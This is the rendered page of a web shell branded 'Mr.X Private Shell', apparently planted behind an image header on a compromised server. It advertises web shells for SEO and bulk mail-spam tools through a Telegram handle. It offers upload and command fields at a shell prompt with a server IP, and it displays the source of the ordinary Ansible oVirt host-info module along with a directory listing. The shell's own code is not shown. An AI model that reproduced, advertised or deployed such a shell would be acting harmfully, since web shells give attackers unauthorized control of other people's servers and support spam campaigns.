����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding: utf-8 -*-
#
# Copyright (c) 2016 Red Hat, Inc.
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

DOCUMENTATION = '''
---
module: ovirt_host_info
short_description: Retrieve information about one or more oVirt/RHV hosts
version_added: "1.0.0"
author:
- "Ondra Machacek (@machacekondra)"
- "Martin Necas (@mnecas)"
description:
    - "Retrieve information about one or more oVirt/RHV hosts."
    - This module was called C(ovirt_host_facts) before Ansible 2.9, returning C(ansible_facts).
      Note that the M(ovirt.ovirt.ovirt_host_info) module no longer returns C(ansible_facts)!
notes:
    - "This module returns a variable C(ovirt_hosts), which
       contains a list of hosts. You need to register the result with
       the I(register) keyword to use it."
options:
    pattern:
        description:
            - "Search term which is accepted by oVirt/RHV search backend."
            - "For example to search host X from datacenter Y use following pattern:
               name=X and datacenter=Y"
        type: str
    all_content:
        description:
            - "If I(true) all the attributes of the hosts should be
               included in the response."
        default: False
        type: bool
    cluster_version:
        description:
            - "Filter the hosts based on the cluster version."
        type: str
    follow:
        description:
            - List of linked entities, which should be fetched along with the main entity.
            - This parameter replaces usage of C(fetch_nested) and C(nested_attributes).
            - "All follow parameters can be found at following url: https://ovirt.github.io/ovirt-engine-api-model/master/#types/host/links_summary"
        type: list
        version_added: 1.5.0
        elements: str
        aliases: ['follows']
extends_documentation_fragment: ovirt.ovirt.ovirt_info
'''

EXAMPLES = '''
# Examples don't contain auth parameter for simplicity,
# look at ovirt_auth module to see how to reuse authentication:

# Gather information about all hosts which names start with C(host) and
# belong to data center C(west):
- ovirt.ovirt.ovirt_host_info:
    pattern: name=host* and datacenter=west
  register: result
- ansible.builtin.debug:
    msg: "{{ result.ovirt_hosts }}"
# All hosts with cluster version 4.2:
- ovirt.ovirt.ovirt_host_info:
    pattern: name=host*
    cluster_version: "4.2"
  register: result
- ansible.builtin.debug:
    msg: "{{ result.ovirt_hosts }}"
'''

RETURN = '''
ovirt_hosts:
    description: "List of dictionaries describing the hosts. Host attributes are mapped to dictionary keys,
                  all hosts attributes can be found at following url: http://ovirt.github.io/ovirt-engine-api-model/master/#types/host."
    returned: On success.
    type: list
'''

import traceback

from ansible.module_utils.basic import AnsibleModule
from ansible_collections.ovirt.ovirt.plugins.module_utils.ovirt import (
    check_sdk,
    create_connection,
    get_dict_of_struct,
    ovirt_info_full_argument_spec,
)


def get_filtered_hosts(cluster_version, hosts, connection):
    # Filtering by cluster version returns only those which have same cluster version as input
    filtered_hosts = []
    for host in hosts:
        cluster = connection.follow_link(host.cluster)
        cluster_version_host = str(cluster.version.major) + '.' + str(cluster.version.minor)
        if cluster_version_host == cluster_version:
            filtered_hosts.append(host)
    return filtered_hosts


def main():
    argument_spec = ovirt_info_full_argument_spec(
        pattern=dict(default='', required=False),
        all_content=dict(default=False, type='bool'),
        cluster_version=dict(default=None, type='str'),
    )
    module = AnsibleModule(
        argument_spec,
        supports_check_mode=True,
    )
    check_sdk(module)
    if module.params['fetch_nested'] or module.params['nested_attributes']:
        module.deprecate(
            "The 'fetch_nested' and 'nested_attributes' are deprecated please use 'follow' parameter",
            version='3.0.0',
            collection_name='ovirt.ovirt'
        )

    try:
        auth = module.params.pop('auth')
        connection = create_connection(auth)
        hosts_service = connection.system_service().hosts_service()
        hosts = hosts_service.list(
            search=module.params['pattern'],
            all_content=module.params['all_content'],
            follow=",".join(module.params['follow'])
        )
        cluster_version = module.params.get('cluster_version')
        if cluster_version is not None:
            hosts = get_filtered_hosts(cluster_version, hosts, connection)
        result = dict(
            ovirt_hosts=[
                get_dict_of_struct(
                    struct=c,
                    connection=connection,
                    fetch_nested=module.params.get('fetch_nested'),
                    attributes=module.params.get('nested_attributes'),
                ) for c in hosts
            ],
        )
        module.exit_json(changed=False, **result)
    except Exception as e:
        module.fail_json(msg=str(e), exception=traceback.format_exc())
    finally:
        connection.close(logout=auth.get('token') is None)


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
ovirt_affinity_group.py File 13.37 KB 0644
ovirt_affinity_label.py File 6.93 KB 0644
ovirt_affinity_label_info.py File 6.94 KB 0644
ovirt_api_info.py File 3.05 KB 0644
ovirt_auth.py File 11.28 KB 0644
ovirt_cluster.py File 35.27 KB 0644
ovirt_cluster_info.py File 4.56 KB 0644
ovirt_datacenter.py File 11.43 KB 0644
ovirt_datacenter_info.py File 4.05 KB 0644
ovirt_disk.py File 41.3 KB 0644
ovirt_disk_info.py File 4.46 KB 0644
ovirt_disk_profile.py File 6.6 KB 0644
ovirt_event.py File 7.74 KB 0644
ovirt_event_info.py File 5.79 KB 0644
ovirt_external_provider.py File 14.8 KB 0644
ovirt_external_provider_info.py File 7.14 KB 0644
ovirt_group.py File 5.31 KB 0644
ovirt_group_info.py File 4.44 KB 0644
ovirt_host.py File 29.01 KB 0644
ovirt_host_info.py File 5.29 KB 0644
ovirt_host_network.py File 21.84 KB 0644
ovirt_host_pm.py File 8.32 KB 0644
ovirt_host_storage_info.py File 6.57 KB 0644
ovirt_instance_type.py File 25.52 KB 0644
ovirt_job.py File 7.48 KB 0644
ovirt_mac_pool.py File 5.28 KB 0644
ovirt_network.py File 13.64 KB 0644
ovirt_network_info.py File 4.53 KB 0644
ovirt_nic.py File 11.59 KB 0644
ovirt_nic_info.py File 5.7 KB 0644
ovirt_permission.py File 10.72 KB 0644
ovirt_permission_info.py File 5.92 KB 0644
ovirt_qos.py File 13.95 KB 0644
ovirt_quota.py File 10.98 KB 0644
ovirt_quota_info.py File 5.02 KB 0644
ovirt_role.py File 5.88 KB 0644
ovirt_scheduling_policy_info.py File 5.15 KB 0644
ovirt_snapshot.py File 19.09 KB 0644
ovirt_snapshot_info.py File 4.93 KB 0644
ovirt_storage_connection.py File 10.02 KB 0644
ovirt_storage_domain.py File 31.08 KB 0644
ovirt_storage_domain_info.py File 4.77 KB 0644
ovirt_storage_template_info.py File 5.69 KB 0644
ovirt_storage_vm_info.py File 5.5 KB 0644
ovirt_system_option_info.py File 4.49 KB 0644
ovirt_tag.py File 8.19 KB 0644
ovirt_tag_info.py File 6.11 KB 0644
ovirt_template.py File 47.02 KB 0644
ovirt_template_info.py File 4.64 KB 0644
ovirt_user.py File 6.31 KB 0644
ovirt_user_info.py File 4.42 KB 0644
ovirt_vm.py File 124.17 KB 0644
ovirt_vm_info.py File 7.15 KB 0644
ovirt_vm_os_info.py File 4.81 KB 0644
ovirt_vmpool.py File 19.17 KB 0644
ovirt_vmpool_info.py File 4.48 KB 0644
ovirt_vnic_profile.py File 11.95 KB 0644
ovirt_vnic_profile_info.py File 4.52 KB 0644